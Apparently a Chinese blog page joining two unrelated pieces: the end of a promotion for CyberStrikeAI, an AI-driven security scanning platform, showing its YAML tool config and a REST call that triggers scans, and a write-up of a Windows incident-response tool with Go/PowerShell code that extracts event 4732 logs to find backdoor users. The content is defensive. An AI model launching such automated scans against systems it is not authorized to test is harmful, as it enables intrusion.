通过标准的YAML配置即可集成新工具:
name: "custom-scanner"
command: "python3"
args: ["/tools/myscanner.py"]
parameters:
- name: "target"
type: "string"
required: true系统提供完整的REST API,可轻松集成到现有安全体系中:
# 集成到自动化漏洞管理平台
def trigger_scan(target, scan_type):
response = requests.post(
'http://cyberstrike-ai:8080/api/agent-loop',
json={'message': f'{scan_type}扫描 {target}'}
)
return process_results(response.json())CyberStrikeAI的本质是通过技术手段提升安全工程师的工作效率,让我们从繁琐的工具操作中解放出来,更加专注于威胁分析、漏洞研究和防护策略等更有价值的工作。
在网络安全人才紧缺的今天,提升个体工程师的效率就是提升整个行业的安全水位。我相信,好的工具应该像得力的助手一样,默默处理繁琐工作,让专家专注于专业判断。
项目地址:https://github.com/Ed1s0nZ/CyberStrikeAI
让技术回归本质,让安全测试变得更加高效——这是CyberStrikeAI的技术追求,也是我对安全社区的诚意贡献。
将近三周的时间开发,目标是针对小白都能上手的Windows应急工具,完全基于红队人员攻击思路以及蓝队应急流程开发的Windows应急响应工具,目前V2.0的版本基本上已经ok了没有问题,下面是工具介绍,目前网上基本上没有比这个更好用且更完善的工具,计划是在V3.0计划兼容Winserver2008以下版本,另外加入内存马查杀机制。因为初衷就是想轻量,如果工具过大就违背了这个工具的初衷。
目前工具设置需要授权码,计划是三月一次授权。
Cr7crwBXfh2AHVMh/RmH7w==
// 后门用户迁移4732时间id日志提取
func FetchAndStoreBackdoorUsers(db *sql.DB, startTime, endTime string) error {
// 动态构建 PowerShell 命令,使用传入的开始和结束时间
psCmd := fmt.Sprintf(`[Console]::OutputEncoding = [System.Text.Encoding]::UTF8;
$startTime = '%s';
$endTime = '%s';
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4732; StartTime=$startTime; EndTime=$endTime} -MaxEvents 200 |
ForEach-Object {
$xml = [xml]$_.ToXml()
$subjectSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "SubjectUserSid" } | Select-Object -ExpandProperty '#text'
$memberSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "MemberSid" } | Select-Object -ExpandProperty '#text'
$groupSid = $xml.Event.EventData.Data | Where-Object { $_.Name -eq "TargetSid" } | Select-Object -ExpandProperty '#text'
function Get-NameFromSid($sid) {
try {
return (New-Object System.Security.Principal.SecurityIdentifier($sid)).Translate([System.Security.Principal.NTAccount]).Value
} catch {
return $sid
}
}
$subjectName = Get-NameFromSid $subjectSid
$memberName = Get-NameFromSid $memberSid
$groupName = Get-NameFromSid $groupSid
"$($_.TimeCreated)###$($_.Id)###$subjectName###$memberName###$groupName"
}`, startTime, endTime)
// 调用 runPowerShellCommand,它会返回一个包含输出行的切片和错误信息
lines, err := runPowerShellCommand(psCmd)
// --- 错误处理部分 ---
// 如果 PowerShell 命令执行失败
if err != nil {
// 检查错误信息是否包含“No events were found”
if strings.Contains(err.Error(), "No events were found") {
// 如果是这个特定错误,返回自定义的友好错误信息
return fmt.Errorf("无用户组迁移相关事件id4732")
}
// 如果是其他错误,则返回原始错误
return fmt.Errorf("执行PowerShell命令失败: %w", err)
}
// 如果没有错误,但返回的行切片是空的,也视为没有找到事件
if len(lines) == 0 {
return fmt.Errorf("无用户组迁移相关事件id4732")
}
// --- 错误处理部分结束 ---
tx, err := db.Begin()
if err != nil {
return err
}
defer func() {
if err != nil {
tx.Rollback()
}
}()
// 清理旧数据
_, err = tx.Exec(`DELETE FROM backdoor_users`)
if err != nil {
return err
}
stmt, err := tx.Prepare(`INSERT INTO backdoor_users (time_created, event_id, subject_name, member_name, group_name) VALUES (?, ?, ?, ?, ?)`)
if err != nil {
return err
}
defer stmt.Close()
for _, line := range lines {
if len(strings.TrimSpace(line)) == 0 {
continue
}
parts := strings.SplitN(line, "###", 5)
if len(parts) < 5 {
continue
}
_, err = stmt.Exec(parts[0], parseInt(parts[1]), parts[2], parts[3], parts[4])
if err != nil {
return fmt.Errorf("插入后门用户日志失败: %w", err)
}
}
return tx.Commit()
}基本上所有的日志模块的处理都是基于powershell来实现的,所以在winserver 2008及以下的版本不安装工具是无法使用的
因为该工具是日志文件数据提取保存,会从db文件中读取已经保存的部分数据,在检索速度上效果还是可以的,最大的优势是直接根据事件详情提取需要的字段,避免从Windows自带的检索功能中逐条查看,效率大大提高。



目前版本为V2.0,因为在实战中1.0的出现部分bug,已经在2,0版本中修复了,防火墙日志图片仅供参考


目前支持一键跳转,本来是计划做一个聚合类的导航栏,奈何go语言实现太麻烦,略微有点儿鸡肋性价比低就实现的跳转。

在风险主机出网的条件下是支持使用ChatAI模块的,直接在Deepseek购买api量即可,总的来说完全够用。


目前代码位置固定仅支持每分钟查询4个ip。

目前在本机三层靶场测试效果还可以,基本上受控主机上测试效果还是可以的,基本上可以覆盖溯源攻击路径,不过该工具还是基于windows日志来实现的,前提是日志审核策略需要开启,目前基本上一般业务系统有做过等保和加固的常见的日志审核策略是满足需求的。并且AI的一键分析是基本上能够满足定位分析攻击路径的。